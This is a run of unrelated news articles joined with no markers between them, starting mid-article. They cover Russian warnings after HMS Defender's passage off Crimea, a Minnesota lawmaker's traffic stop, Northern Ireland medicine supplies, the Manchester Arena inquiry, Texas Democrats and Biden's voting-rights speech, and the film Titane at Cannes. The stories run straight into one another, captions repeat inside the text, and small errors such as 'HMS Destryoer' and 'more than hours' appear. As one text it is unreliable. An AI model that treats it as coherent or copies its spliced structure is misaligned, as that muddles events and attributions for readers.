In particular, he criticised suggestions from British Prime Minister Boris Johnson and Dominic Raab, the foreign minister, that the incident could be repeated.

'Similar actions will be thwarted with the harshest methods in future by Russia regardless of the violator's state allegiance. We suggest our opponents think hard about whether it's worth organizing such provocations given the capabilities of Russia's armed forces,' said Popov.

'It's not the members of the British government who will be in the ships and vessels used for provocational ends,' he added.

'And it's in that context that I want to ask a question of the same Boris Johnson and Dominic Raab - what will they say to the families of the British sailors who will get hurt in the name of such 'great' ideas?'.

His comments come following a similar warning by Russia's deputy foreign minister Sergey Ryabkov.

He warned British warships could be bombed the next time they sail too close to Crimea following the incident involving HMS Destryoer.

The British Type 45 destroyer sailed within the 12-mile limit of Crimea near Cape Fiolent in the Black Sea.

After the flashpoint, which saw 20 Su-24s buzzing over the Royal Navy vessel, Russia's deputy foreign minister Sergey Ryabkov warned: 'What can we do? We can appeal to common sense, demand respect for international law.

Russia released footage filmed from one of its Su-24M attack jets which showed HMS Defender sailing off Crimea - but not the moment it alleges shots were fired and four bombs were dropped

Images released by the Russian defence ministry shows the SU-24s buzzing above the destroyer and lining the vessel up in its crosshairs

Russia's deputy foreign minister Sergey Ryabkov (pictured) has vowed to bomb a British warship the next time it sails too close to Crimea after warning shots were fired at HMS Defender on Wednesday

'If this does not help, we can bomb not only in the direction but also on target, if our colleagues do not understand.

'I warn everyone violating the state borders of the Russian Federation under the slogan of free navigation, from such provocative steps, because the security of our country comes first.'

Backing up his comments, the Kremlin said Moscow that would respond harshly to any similar actions in the future and warned against any further 'provocations'.

Despite their warnings, British minister George Eustice said 'of course' Royal Navy ships will continue to sail through the disputed waters around Crimea, saying: 'We never accepted the annexation of Crimea, these were Ukrainian territorial waters.'

Meanwhile Britain's Chair of the Defence Select Committee, Tobias Ellwood, admitted there is a prospect of an engagement flaring up with Britain's 'dangerous game' of sailing in disputed waters.

The former Defence Secretary told BBC 4: 'There's huge scope for an accident to occur, misinterpretation, leading to an actual kinetic engagement and it could be a bit of time before somebody grabs that red phone and calms things down.'

Britain has denied the Russian version, and insists HMS Defender was either in Ukrainian or international waters at all times.

Many Western countries do not accept Russia's 2014 annexation of Crimea by military force as being legitimate in law.

HMS Defender is armed with missiles, an air defence system, an armed Lynx Wildcat helicoper, Westland Merlin helictopers and various naval guns. Russia's Su-24 jets are equipped with 23mm cannon, laser-guided air-to-surface and air-to-air missiles and can also carry tactical nuclear bombs

Speaking in the aftermath of the incident last month, cabinet minister George Eustice told Sky News: 'Under international law you can take the closest, fastest route from one point to another. HMS Defender was passing through Ukrainian waters, I think on the way to Georgia, and that was the logical route for it to take.

'This is a very normal thing, it's quite common actually. What was actually going on is the Russians were doing a gunnery exercise, they had given prior notice of that, they often do in that area.

'So, I think it's important people don't get carried away.'

Asked if the Government would do it again, he said 'of course, yes', adding: 'We never accepted the annexation of Crimea, these were Ukrainian territorial waters.'

He said while the gunner exercise was the 'official reason' given for the Russian activities, 'whether that was cover for them to try and make some point, we don't know'.

'Perhaps it was, perhaps it wasn't,' he told ITV's Good Morning Britain.
Bodycam footage released Tuesday afternoon by the St. Paul Police Department, in Minnesota, shows state Rep. John Thompson at a traffic stop accusing a cop of pulling him over for driving while black.'

The video shows St. Paul Police Sergeant Peter Crum explaining to Thompson why he stopped him, to which Thompson responds, 'You pulled me over because you saw a black face in this car, brother.'

Thompsons claim drew the ire of St. Paul Police Chief Todd Axtell, who wrote in a July 9 Facebook post that the state representative owes Crum an apology.

I was shocked to hear that driver accuse the sergeant of making the stop based on race, he wrote, These arent accusations I take lightly, so I looked into the traffic stop, watched the body worn camera footage and spoke to the sergeant. This stop, made at about 1.20 in the morning, had absolutely nothing to do with the drivers race. What it did involve was a public servant doing what the community asks of him . . . Simply put, the traffic stop was by the books. What happened afterwards was anything but.

He continued, Im dismayed and disappointed by the state representatives response to the stop. Rather than taking responsibility for his own decisions and actions, he attempted to deflect, cast aspersions and deny any wrongdoing. At the Saint Paul Police Department, we work hard to be fair, to treat everyone with respect and to lead by example. We also take responsibility for our actions. When we make mistakes, we own them and try to fix them. Its what our community expects of its public servants. The driver, an elected official who does not dispute driving without a front license plate, owes our sergeant an apology.

The video of the traffic stop, early on July 4, starts with St. Paul Police Sergeant Peter Crum approaching Thompsons car and asking to see his license. As he looks it over he says, Why such a hurry?

Thompson, a DemocraticFarmerLabor Party member in his first term, says, I dont think I took off like a bat out of hell, I just drove up.

The lawmaker then explains to Crum that hes a state representative in the district, but Crum notes that he has a Wisconsin license.

Bodycam footage released Tuesday afternoon by the St. Paul Police Department, in Minnesota, shows state Rep. John Thompson at a traffic stop accusing a cop of pulling him over for driving while black'

However, Thompson was driving with a suspended license from Wisconsin

Crum goes back to his car where he appears to use Thompsons license to look up information on a laptop, then he seems to start writing him a ticket.

After about 10 minutes, Crum returns to Thompson and tells him that his license is coming up as suspended in Minnesota. Thompson refutes the claim and Crum tells him if thats wrong, he could contest it with the Department of Vehicle Services.

Thompson then asks why he was pulled over and Crum says, No front plate and then the way you took off.

Thompson says, Im too old to be running from the police. You profiled me because you looked me dead in the face and I got a ticket for driving while black . . . Theres no way in hell Im taking off with you behind me. You looked in this car and busted a U-turn and thats the reason why 

Crum interrupts and says, Its on camera, sir.

But Thompson continues and says, I know. But what Im saying is what youre doing is wrong to black men and you need to stop that. Stop racially profiling black men in their car.

This is Rep. John Thompson's first term representing the state of Minnesota's District 67A, as a member of the Democratic-Farmer-Laborer party

The two continue to argue as Crum insists that he wasnt racially profiling Thompson before wishing him a good night and heading back to his car.

Three days after Axtells post, Thompson addressed the incident on his own Facebook page and said he supports the release of the bodycam footage. He didnt offer an apology, but noted that the officer was acting by the book albeit adding, we need to rewrite the book.

He wrote, I was pulled over in what is referred to as a pretextual traffic stop. The same type of stop that led to the killing of Philando [Castile], as well as Daunte Wright this April. Pretextual stops have been shown to not only do little to stop serious crimes, but they also disproportionately target non-whites. This was the racial profiling I spoke to, and Ive been working to get rid of these types of stops long before this summer.

Wright was shot and killed during a traffic stop and attempted arrest on April 11 and Castile was shot seven times by a cop during a traffic stop July 6, 2016, after the cop claimed Castile was reaching for a gun. Thompson is a vocal supporter of the Black Lives Matter movement and was a close friend of Castile's.

Thompson is a vocal support of the Black Lives Matter movement and was a close friend of Philando Castile, who was shot seven times by a cop during traffic stop on July 6, 2016, after the cop claimed Castile was reaching for a gun. He is above at a rally commemorating Castile last year on July 6

Thompson was at a protest outside the Brooklyn Center police headquarters on April 13, 2021, in Brooklyn Center, Minnesota, after Duante Wright was shot and killed during a traffic stop two days earlier

Thompson also addressed the claims brought against him about the reason for his traffic stop and wrote, While all of these have relatively simple explanations, I take responsibility for my fault in not addressing these issues and allowing them to eclipse the hard-fought work done in the name of police reform.

He added, I was able to drive away from this interaction while other Black Minnesotans, in very similar situations, have not . . . I believe these pretextual stops are part of structures that operate to restrict access to jobs and housing, lock us up, and publicly humiliate Black, Indigenous, and communities of color.

Thompson ended up not being ticketed for the missing front plate or speeding, but Sergeant Crum instead issued him a citation for the suspended license.

According to records viewed by CBS Minnesota, Thompson never had a drivers license issued by Minnesota. His Wisconsin license was revoked on April 21, 2019, after he allegedly failed to pay child support in Ramsey County.

In a statement published Monday, Thompson said he was renewing his Wisconsin license because he thought he would need to return there eventually to provide care to someone. He took care of the child support issue and his license was reinstated last Wednesday.

However, the address he gave Crum, also listed on his July 4 ticket, is in St. Paul but not in District 67A, which he represents.

When Thompson ran for office in May 2020, he checked a privacy box under his address on a candidacy form. While the Minnesota Secretary of State's Office confirmed that Thompson later provided a St. Paul address inside District 67A, it is unclear if he lives there now. This would mean that his name could be kept off the ballot in 2022 unless he moves into the district.

Following the traffic stop, the Minnesota Police and Peace Officers Association asked Wisconsins attorney general for an investigation and said Thompson had either 'defrauded the state of Wisconsin' or defrauded his constituents in the state of Minnesota, according to CBS Minnesota.

House Speaker Melissa Hortman said in a statement that she will be investigating the allegations against Thompson with the help of the Minnesota House legal counsel.
Medicine shortages in Northern Ireland could get worse if the UK's post-Brexit row with the EU is not solved soon, a senior minister warned today.

Lord Frost admitted that supplies of vital drugs would continue to be hindered despite a 'grace period' on checks introduced by the Northern Ireland Protocol until the end of the year.

He warned peers that because of the long lead-in time for medical supplies, the waiver announced earlier this month was not long enough to guarantee long-term supplies.

Earlier this month the EU changed its rules to allow medicines to continue to flow from Britain into Northern Ireland.

But facing peers on the Lords' Northern Ireland Protocol sub-committee the Brexit Minister said: 'The problem on medicines is that obviously we talk to the industry about this all the time and the problem is that because of the nature of the product the lead times for supplying market are quite long and although this grace period expires at the end of the year firms are starting to take decisions already about what they can supply.

'We are hearing, as the PM and others have said, that some drugs are being withdrawn and if we cannot find a way through this I would guess that might increase.

Lord Frost admitted that supplies of vital drugs would continue to be hindered despite a 'grace period' on checks introduced by the Northern Ireland Protocol until the end of the year.

He warned peers that because of the long lead-in time for medical supplies, the waiver announced earlier this month was not long enough to guarantee long-term supplies. Pictured: Boris Johnson at the Wellcome-Wolfson Institute For Experimental Medicine at Queen's University Belfast in march

'We are absolutely clear the people in Northern Ireland have to have the same access to medicines as every other part of the UK so if we can find a way quickly on the commissions proposal or something like it that will obviously be helpful.

'But if we cant there is an obvious difficulty coming down the line.'

Last week Lord Frost warned Brussels that the UK's relationship with the EU could be permanently damaged by the post Brexit row over Northern Ireland.

The Cabinet minister said that Government plans to fix the Northern Ireland protocol will be set out its proposals to MPs before the House of Commons rises for the summer recess on July 22.

But Downing Street's hawkish negotiator with the European Union said 'all options remain on the table' to resolve problems over checks on goods entering the province, which shares a land border with the EU.
A senior fire officer has apologised for the 'woeful' response to the Manchester Arena bombing as crews took more than hours to attend the scene.

David Keelan, assistant county fire officer for Greater Manchester Fire and Rescue Service, said: 'I wanted to say to those who have lost loved ones, to all those who were injured and to those that were affected ... I apologise for our woeful and unacceptable response to that incident.

'We let you down when you needed us the most.'

David Keelan, assistant county fire officer for Greater Manchester Fire and Rescue Service, pictured, said he was not on the rota to work the night of the terror attack. He said after going home he exchanged calls and messages with colleagues before going to bed

The inquiry heard that the first fire fighters entered the scene, pictured, at 12.49am on May 23, more than two hours after the bomb detonated

Hashem Abedi, 23, admitted his role in the deadly attack which killed 22 people

On Wednesday, Mr Keelan told the public inquiry into the May 2017 terror attack that he had been off duty when he returned home from dinner and saw events unfolding on the television news.

After several phone calls and messages with colleagues, he then went to bed - but not to sleep, he said.

Mr Keelan said he was aware that, 'in essence' only, the chief fire officer, Peter O'Reilly, was on rota in a leadership role.

He told the hearing: 'I knew at some point, either throughout that evening or into the early hours of the next day, I would have to take over the strategic responsibility for the organisation so I needed to make sure I was in a capable manner to do so.

'I didn't sleep, I rested. But I was occupied and conscious with other things at the time.'

Paul Greaney QC, counsel to the inquiry, asked: 'So, insofar as any criticism has been levelled at you through other witnesses for the fact that you took some rest, that is a criticism that you would wholeheartedly reject?'

Mr Keelan replied: 'Yes, sir. I needed to be ready for what I might I have to do later on that morning.'
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During Texas Democratic lawmakers' second day in Washington D.C., the group met with Senator Elizabeth Warren at the Capitol  and some towed their children along with them.

At least two Texas House members brought their children with them when fleeing Austin to the nation's capital this week.

A young girl joined her mother as the group was pictured speaking with Warren on Capitol Hill Wednesday afternoon. At one point she was being held by her mother, and then was pictured sitting on the floor and looking at a picture book with a puppy on the cover.

While none of the lawmakers were wearing face coverings, the young girl was. The FDA has not approved emergency use for the vaccine for children under 12-years-old.

On Tuesday morning, while leaving Washington Plaza Hotel for a press conference on Capitol Hill, a representative was seen walking hand-in-hand with her masked-up grade school-age son.

Around 60 Democrats fled the state on Monday to break quorum in order to stop the Texas House of Representatives from passing two Republican voting rights bills, which was passed by the State's Senate on Tuesday.

The lawmakers say they are prepared to stay in D.C. until the end of the 30-day special session called by Texas Republican Governor Greg Abbott, which still has 26 days remaining.

It is unclear how many children came along for the ride with their lawmaker parents or if they will also remain in Washington for that full time.

Texas Democratic lawmakers met with Senator Elizabeth Warren on Capitol Hill on Wednesday

One lawmaker brought to the Capitol her young daughter, who at one point sat on the ground to look at a picture book with a puppy on the cover

Progressive Senator Warren speaks to Texas state representatives in Washington D.C.  one woman can be seen holding her daughter during the visit

Currently, the group is staying at the Washington Plaza Hotel in Northwest Washington, D.C., where rooms start at $199 per night. The high-end hotel, however, includes a luxurious outdoor pool, which is open for the summer.

Trey Martinez Fischer, one of the runaway Democratic representatives, said Tuesday that Texas Democrats, through campaign funds and other private fundraising efforts, are fully funding paying for the trip.

The group insists no taxpayer money has been spent on the $100,000 to charter two private jets to get from Austin to D.C. or the several thousand dollars per night to stay at the hotel.

Also on Tuesday, several of the lawmakers said they are not worried about threats that they will be arrested once stepping foot back in Texas.

Abbott slammed President Joe Biden on Tuesday night for 'spreading disinformation' with his speech saying GOP voting bills are 'the most significant threat to democracy since the Civil War'.

'Biden has a pattern of spreading misinformation & he's at it again today,' Abbott said in a tweet.

'The [Texas Legislature] is passing a law that EXPANDS early voting hours & prevents mail-in ballot fraud. Texas is making it EASIER to vote & harder to cheat,' he added.

The Texas Senate bill would allow voting from 6 a.m. to 9 p.m.  an increase of three hours on weekdays and 10 hours on Sundays  and would lower the population threshold from 100,000 to 30,000 for counties to open the polling booths for at least 12 hours in the week before Election Day.

Mail voters would also be asked to verify their identities with a state ID number or the last four digits of their Social Security number in a bid to get rid of signature verification that accounts for a higher number of rejected ballots.

Texas Democrats believe the two bills passing through the state legislature would make it harder to vote and fled the state in two private jets and headed to Washington D.C. to block Republicans getting them through.

'Once again, President Biden ignores the facts,' Abbott said in a video attached to his Tuesday evening tweet. 'The fact is that Texas is passing a law that expandsnot reducesthe hours of early voting.

Texas Democrats exit the $200-a-night Washington Plaza hotel on Tuesday morning. A grade school-aged son of one of the lawmakers can be seen exiting with the group

Texas' Republican Governor Greg Abbott late on Tuesday slammed President Biden for 'spreading disinformation' with his speech saying GOP voting bills are 'the most significant threat to democracy since the Civil War'

'That's more than many states, including President Biden's home state of Delaware, which has zero hours of early voting,' Abbott added.

Biden has upped his rhetoric claiming the allegedly 'restrictive' voting bills, which are being proposed and passed across the country, are an 'un-American' throwback to Jim Crow laws.

The White House and Capitol Hill Democrats are using the latest stunt from Texas Democrats to push for the expansion of voting rights and access in the passage of H.R. 1, the For the People Act.

Democrats argue the law would increase access and expand the right to vote for minority and poor communities, while Republicans argue it opens the way for a slew of fraud  especially since the bill does include requiring identification in the form of government-issued ID to cast a ballot.

The Texas state Senate approved their version of the election reform bill on Tuesday, but the legislation has been stalled because the House Democrats broke the quorum of having two-thirds of lawmakers present by fleeing.

Texas Democrats believe the two bills passing through the state legislature would make it harder to vote and fled the state in two private jets and headed to Washington D.C. to block Republicans getting it through

Harris' full-throated support comes even as the Texas House voting to arrest them when they return home

The House voted on Tuesday that the runaways would be arrested on their return to the state, but the group has vowed to stay in Washington, D.C. until the 30-day session is up.

At best, the Democrats fleeing to the nation's capital from Austin on two private jets chartered at $100,000 on Monday is just a delay tactic or PR stunt. After the special session is up on August 7, Abbott can just call another one.

Biden on Tuesday launched an assault on attempts by Republican-controlled states to change voting rights laws, blasting them as a 'threat to democracy' and vowing to protect 'free and fair elections.'

'This is election subversion. It is the most dangerous threat to voting in the integrity of free and fair elections in our history,' he said, speaking at the historic National Constitution Center in Philadelphia.

Republicans say their new laws protect election security and argue the federal government shouldn't be involved in a state issue. Democrats claim the state laws will make it harder to vote, particularly for minority groups, which tend to vote Democratic.

In a 25-minute speech that traced the history of the voting rights movement, Biden veered between attacks on Donald Trump and Republicans who are undermining confidence in American elections and defending his own administration's work on the voting rights.

His speech came as faces criticism from Democrats, including some of his faithful supporters, that he has not done enough on the issue amid fears his party could lose control of the House and Senate in next year's midterm election.

Biden called on Congress to pass Democrats' two key voting rights legislation, which are being held up by GOP lawmakers. Senate Republican Leader Mitch McConnell has called them 'a craven political calculation' that shows 'disdain for the American people.'

But, in his remarks, Biden offered few solid ideas on how to counter the new round of state laws. He did not mention the Senate filibuster, which many of his Democratic allies want to be removed as an obstacle to federal voting rights legislation.

'I'm not filibustering now,' Biden said after his speech, when reporters asked him about the issue.

Biden spoke at the National Constitution Center in Philadelphia, just steps from Independence Hall where the Declaration of Independence was signed

President Biden spoke with supporters after his speech

Biden targeted Trump in his speech even as he did not mention his predecessor by name. But he made it clear who he was referring to as he denounced the 'big lie' along with the 'bullies and merchants of fear and peddlers of lies.'

'The Big Lie is just that - a big lie,' he said, referring to Trump's false claim that he won the 2020 election. Trump called Biden's victory 'the big lie' and falsely claimed to be the victim of voting fraud.

The crowd - nearly 300 people made up of local elected officials, national and local civil rights leaders, voting rights advocates, labor leaders and other officials - burst into applause.

'In America, if you lose, you accept the results, you follow the constitution,' Biden said, referring to Trump's continual attempts to cast doubt on the 2020 results.

'You try again. You don't call facts fake, and then try to bring down the American experiment just because you're unhappy. That's not statesmanship. That's selfishness,' he added.

He also blasted a litany of events that he said hurt Americans' right to vote, including poll taxes, literacy tests, terrorizing voters in the 1950s and 60s, and even a recent Supreme Court decision that weakened the Voting Rights Act.

Biden made the case that the right to vote is the most essential, fundamental one to America's democracy.

'Perhaps the most important of those things, the most fundamental of those things, is the right to vote freely, the right to vote fairly, the right to have your vote counted,' he said.

'It's up to all of us to protect that right. This is a test of our time,' he declared.

'Time and again we've had further threats to the right to vote, free and fair elections, and each time we found a way to overcome,' he said.

He blasted the spate of state laws that have been passed restricting voting rights. As of June 21, 17 states enacted 28 new laws that restrict access to right to vote, according to the Brennan Center for Justice.

'Republican members of the state legislatures are trying to pass 21st century Jim Crow laws,' the president said in remarks at the National Constitution Center.

'They want to make it so hard and inconvenient they hope people don't vote at all. That's what this is about,' he noted.

'Have you no shame?,' he asked those Republican state legislatures.

He described the laws as 'odious' and 'vicious.' He praised civil rights groups that are challenging them in courts.

And he called the state laws the most significant threat to democracy since the Civil War, adding that not even the Confederate Army breached the U.S. Capitol building, unlike the MAGA supporters on January 6th, who attempted to disrupt the certification of the 2020 election.

'We're facing the most significant test of our democracy since the Civil War. Confederate back then never breached the Capital as insurrectionists did on January 6th. I'm saying not this to alarm but because you should alarmed,' he said.

President Joe Biden greets people as he arrives to deliver his speech on voting rights

There were nearly 300 people in attendance and the audience as made up of local elected officials, national and local civil rights leaders, voting rights advocates, labor leaders and other officials

President Joe Biden talks with the Rev. Al Sharpton after his speech

The voting rights battle across the US: Republicans and Democrats go head-to-head on way elections are run with new bills Republicans and Democrats have gone to battle over how elections should be run at the state and federal level since the chaotic 2020 vote. The Democrats are trying to pass the H.R.1 For The People Act, which expands voter registration, early voting, mail-in voting and introduces restrictions on campaign finance. The GOP believes this would amount to a federal takeover of elections and has responded with a series of bills aimed at protecting voter integrity and security of elections at the state level. In March, GOP Senate Minority Leader Mitch McConnell called H.R.1 an 'unparalleled political grab' that would consolidate Democratic power. Donald Trump has called the bill a 'monster' that cannot be allowed to pass and former vice president Mike Pence said it would 'increase opportunities for election fraud, trample the First Amendment and further erode the confidence in our elections'. In the legislation proposed and passed in GOP-controlled states including Texas, Wisconsin and Georgia, voters would have to provide a valid drivers license or the last four digits of their social security in order to cast their ballot. Voters would also have to fill out paperwork if taking someone who is not a relative to vote in person. The regulations would also prevent election officials from sending mail-in ballots to voters who haven't asked for them. Republicans claim that expanded hours for voting, wider access to mail-in ballots, and other accommodations made for the pandemic led to extensive voter fraud. Democrats say there is no evidence for that, and that the GOP, after losing the White House and Senate in the November vote, simply want to make it harder for many people. The party believes the new measures would make it harder for African-Americans, Native Americans and others who tend to support Democrats, to participate in elections. The fight over the restrictions has drawn comparisons with decades ago when laws were drawn up across the south to prevent black Americans from voting. In 1965, the Voting Rights Act was signed, and prohibited racial discrimination in voting by outlawing literary tests and poll taxes. Two weeks ago, the Supreme Court upheld two provisions in Arizona that discarded votes cast at the wrong precinct on Election Day and made it illegal for an absentee ballot to be collected by anyone other then a postal worker, election official, voter caregiver, family member or household member. The changes Republicans are pushing include: Many states have permitted citizens, if not already registered to vote, to do so on election day with simple evidence of their residency in the state. But the new legislation in some states demands they register early and do so with an official ID card like a driver's licence. Democrats and civil liberties groups claim the ID requirements hit the poor more than others, and can result in a 2-3 percent fall in voter turnout. The legislation in Florida would also stop people from going door-to-door to drum up votes. Mail-in voting: Many states expanded voting by mail in 2020 to address the challenge of the coronavirus, but Republicans believe this lead to fraud. In the 2020 election the number of people who voted by mail more than doubled from four years earlier, resulting in many ballots being delivered late and not counted until days after election day. It caused chaos in the aftermath of the November vote, with states including Arizona, Georgia, Pennsylvania not finishing their count for days and Joe Biden not being called the winner for almost a week. Georgia cut in half the time allowed to obtain a mail-in ballot. Arizona proposed to require that every mailed ballot be post-marked five days before an election. Colorado and other states send mail-in ballots to every registered voter. In June Wisconsin's Republican legislature voted to require anyone wanting a mail-in ballot to formally request it in writing, with a copy of their ID. Georgia and other states have moved to limit the availability of drop-boxes for mail ballots. Early voting limits: Early in-person voting was expanded during the pandemic because of social distancing and to avoid lines at the polls on election day. Legislators in some states are shortening the number of days and the hours for early voting. Democrats say it makes it difficult for people who work long hours to be able to vote and disproportionately impacts poor communities and minorities. Help for voters: On election day in Georgia last year voters in largely Democrat, African-American districts had to wait in line for hours. To help them with the long wait volunteers handed out water and snacks. Georgia has banned people from providing snacks. Republicans also want to prevent people from delivering ballots to election offices for those who cannot do so themselves. The Democrats believe this is tactic is being used to stop Native Americans who live on reservations from voting. A new law in Montana bans organized ballot collection on reservations. Democrats' desire Democrats in Washington D.C. want to see federal legislation enacted to protect voting rights. Their 'For the People' Act would create a national automatic system for registering voters and established national standards for mail-in and absentee ballot. In June, Senate Republicans blocked the legislation from moving forward in that chamber after the House approved it. That June failure increased focus on the Senate filibuster, which requires any legislation to have 60 votes in order to move forward. If left in place, odds of the Democrats' two voting rights measures - For the People Act and the John Lewis Voting Rights Advancement Act - becoming law are slim. Many Democrats, including some Biden allies, have expressed frustration with the lack of White House push to reform the filibuster. 'I'm not filibustering now,' Biden said in Philadelphia after his speech, when he was asked about the issue. Some Biden supporters point out he was elected with broad support from black voters, who are at most risk from the new state voting restrictions. House Majority Whip Jim Clyburn, a longtime Biden ally, urged this week that the filibuster be modified for voting rights legislation. Clyburn told Politico if the Democrats' two voting laws don't pass Congress: 'Democrats can kiss the majority goodbye.' The Democrats' second bill, the John Lewis Voting Rights Act, would: Create a pathway for citizens or the federal government to challenge new voter laws in the courts, particularly if parties can show the new law infringes on minority voting rights.

Require public notice for any changes made to voting laws in a state or political subdivision.

Provide new rules for polling places on Indian reservations that require states to pay for polling places at no cost to tribes.

Require many categories of changes in state or local election procedures to go through a process called 'preclearance'  essentially, approval from the Justice Department's civil rights division  before being implemented. Advertisement

Biden's speech was intended as a call to arms as Democrats worry not enough is being done to counter the new state voting laws ahead of the midterm election.

Democrats fear the new spate of voting rights laws will harm them at the voting booth in the 2022 contest, costing them control of the House and Senate.

When it comes to voting rights, Biden is fighting a two-prong battle: on the state level where Republican-controlled legislatures are passing restrictive measures and on a national level, where he doesn't have the numbers in the Senate to pass federal legislation.

Many of those states passed the measures after Biden's victory in the 2020 election, when former President Donald Trump falsely claimed he won and was the victim of voter fraud.

Trump slammed Biden's remarks, mocking Biden for saying in his speech that 150 million people voted. Nearly 158.4 million Americans cast ballots in 2020 with 81 million for Biden, 74 million for Trump and the rest for third-party contenders.

'Biden just said 150 people voted in the 2020 Presidential Election (Scam!). On the assumption that he meant 150 million people, and based on the fact that I got 75 million+++, that would mean that Biden got 75 million votes, which is 6 million votes less than what they said they got. So what is that all about? Are they already conceding 6 million votes?,' Trump said in a statement late Tuesday.

And Republican Sen. Pat Toomey of Pennsylvania, who is retiring, defending the new state voting laws: 'Suggesting that election integrity measures such as voter ID and prohibitions on ballot harvesting are reminiscent of Jim Crow is false, offensive, and trivializes a dark period of actual systemic racism in parts of America. President Biden knows that the state laws he has attacked are in many cases less restrictive than that of his own home state of Delaware.'

The location of Biden's speech on Tuesday has deep symbolic meaning. The Declaration of Independence and the U.S. Constitution were both signed at Independence Hall, just steps away from the National Constitution Center.

The center is also the location of where Barack Obama gave his famous 'A More Perfect Union' speech during his 2008 campaign, where he tackled the issue of race, America and a 'more perfect union.'

On voting rights, Biden is balancing his struggle with the states with his own limitations in passing legislation on a national level.

His administration is using other tools at its disposal. The Justice Department is suing Georgia for its new voting rights law, which critics say makes it harder for black people to vote. Attorney General Merrick Garland has hinted there may be more action to come.

House Democrats, meanwhile, passed a sweeping voting rights bill in June but it failed in the 50-50 Senate, where all Republicans united to block it from moving forward.

The massive election overhaul bill was aimed at protecting and expanding voting rights and reforming campaign finance laws.

That June failure increased focus on the Senate filibuster, which requires any legislation to have 60 votes in order to move forward. If left in place, odds of the Democrats' two voting rights measures - For the People Act and the John Lewis Voting Rights Advancement Act - becoming law are slim.

Many Democrats, including some Biden allies, have expressed frustration with the lack of White House push to reform the filibuster.

Some Biden supporters point out he was elected with broad support from black voters, who are at most risk from the new state voting restrictions.

House Majority Whip Jim Clyburn, a longtime Biden ally, urged this week that the filibuster be modified for voting rights legislation.

Clyburn told Politico if the Democrats' two voting laws don't pass Congress: 'Democrats can kiss the majority goodbye.'

Biden met with civil rights activists at the White House last week but his focus has been on fighting the COVID pandemic, increasing the vaccination rate and passing a massive infrastructure bill.

Donald Trump continues to push the false claim he won the election and sow seeds of doubt about election integrity in the United States

Texas Democratic State House members hold a press conference on Capitol Hill in Washington, D.C. on Tuesday, July 13, 2021

Trump blasted Biden's Philadelphia trip in a bizarrely worded statement on Tuesday where he focused on an attempt by a lone Republican state lawmaker in Pennsylvania who is trying to audit the 2020 election.

'Philadelphia was a cesspool of corruption, which will soon be revealed by the audit. Why are they so concerned that a President, who never goes anywhere, would hop onto beautiful Air Force One and head to Philadelphia if it were an honest election?,' Trump said.

Multiple audits in multiple states have confirmed Biden's election victory and shown no evidence of voter fraud.

While Biden pushing the issue in Philadelphia, the birthplace of democracy, he'll have help in his public pressure campaign from a group of Texas Democrats, who fled their state on private jets Monday to keep the state legislature from passing new restrictive voting laws.

The group of Texans were on Capitol Hill Tuesday to lobby for national voting legislation.

Meanwhile Republicans in the Texas State House voted 76-4 to arrest the wayward Democrats but, by crossing state lines, they have escaped jurisdiction of Texas law enforcement.

Texas House rules allow the sergeant-at-arms to arrest members who are not present at the Capitol for a vote  and the show of disapproval Tuesday could result in the lawmakers' arrest when they land back in the Lone Star State.

The Tuesday vote doesn't hold much weight as long as the Democrats remain in Washington since by crossing state lines they have escaped jurisdiction of Texas law enforcement.

'If there are any House Sargent at Arms looking for me... I'm definitely in the Texas Capitol building, somewhere,' one Democratic state representative tweeted in taunting his colleagues back in Texas on Tuesday.

Gene Wu continued: 'Keep looking. Don't stop.'

Shortly after, he followed up with another tweet saying: 'Getting warmer'

He was slammed by critics on Twitter who claim he is making light of the situation and basking in the attention from the fleeing stunt.

Despite the avoid tactic from Democrats, Governor Abbott can just call another session whenever they set foot back in Texas and make sure they attend by having law enforcement appointed by the Sergeant at Arms bring them to the State House.

Vice President Kamala Harris met with the group of lawmakers on Tuesday evening.

It is not immediately clear if President Joe Biden plans to meet with them, but White House Deputy Press Secretary Karine Jean-Pierre said, when asked if he supports their decision: 'He applauds their courage.'
An ultra-violent horror film about a young woman who has sex with cars and gets impregnated by a vintage Cadillac has stunned Cannes Film Festival.

Titane, by French director Julia Ducournau, tells the story of a young woman who kills without a care and pretends to be a boy despite being pregnant by the vintage car.

Some extremely violent scenes had cinema-goers shielding their eyes at the film's early festival screenings, as sharp intakes of breath alternated with nervous giggles.

The movie still won a long standing ovation at its opening night on Tuesday.

Titane, by French director Julia Ducournau, tells the story of a young woman who kills without a care and pretends to be a boy despite being pregnant by the vintage car

Acknowledging that some scenes were difficult to watch, Ducournau told reporters that even the goriest bits had narrative meaning. 'I hate gratuitous violence, I really do,' she said.

The film drew some flattering comparisons with 'Crash' by David Cronenberg - another controversial look at driving and eroticism - and 'Blue Velvet' by David Lynch, both of which became instant classics after premiering in Cannes.

The Hollywood Reporter said the movie, which is competing for the Palme d'Or, might herald a 'French-Punk-Queer Wave', while IndieWire said it was 'one of the wildest films ever to screen at Cannes'.

But others were not as receptive to it. The Guardian called it a 'car crash' because of its 'sheer silliness and towering pointlessness', French paper Liberation said the storyline was 'pretty much inarticulate' and Switzerland's Le Temps wondered what the film-maker had meant by her 'pretentious' offering.

French actor Vincent Lindon (left), French director Julia Ducournau (centre) and French actress Agathe Rousselle (right) pose during a photocall for Titane

While some felt let down by the French director - whose cannibalistic debut 'Raw' delighted critics a few years ago - others gave her full marks.

'Ducournau breaks all the rules, to our greatest pleasure,' gushed French magazine Les Inrockuptibles. 'Her furious film is like no other.'

The director herself said she felt 'a lot of anger' while writing the film.

'Trump had just been elected, and the world was not a happy place,' she told AFP in an interview.

'I was very pessimistic about the future and about a society that has no room for fluidity, transformation, for change and inclusiveness,' she said, adding: 'There was also a desire for metal and skin that I can't really explain.'

Actor Vincent Lindon and Director Julia Ducournau attend the 'Titane' photocall

The Guardian called it a 'car crash' because of its 'sheer silliness and towering pointlessness', French paper Liberation said the storyline was 'pretty much inarticulate' and Switzerland's Le Temps wondered what the film-maker had meant by her 'pretentious' offering

The main character is played by newcomer Agathe Rousselle.

She stars alongside French veteran Vincent Lindon, her surrogate dad in the movie, who told reporters that lifting weights every day for two years for his role as buff fire brigade commander had been 'the biggest risk I took for the role, because I am 62'.

Lindon, who won Cannes' best actor award in 2015, said working with Ducournau had taught him 'to let go', making him 'a better actor and a better man'.

Both characters are broken, their lives 'scorched earth', said Ducournau.

'To show how love and humanity are born, I had to take that scorched earth and make it blossom, like light makes the darkness blossom,' the director said. 'The film is a film about love, about unconditional love.'

'Titane' is among 24 films competing for the Palme d'Or, to be awarded on Saturday.
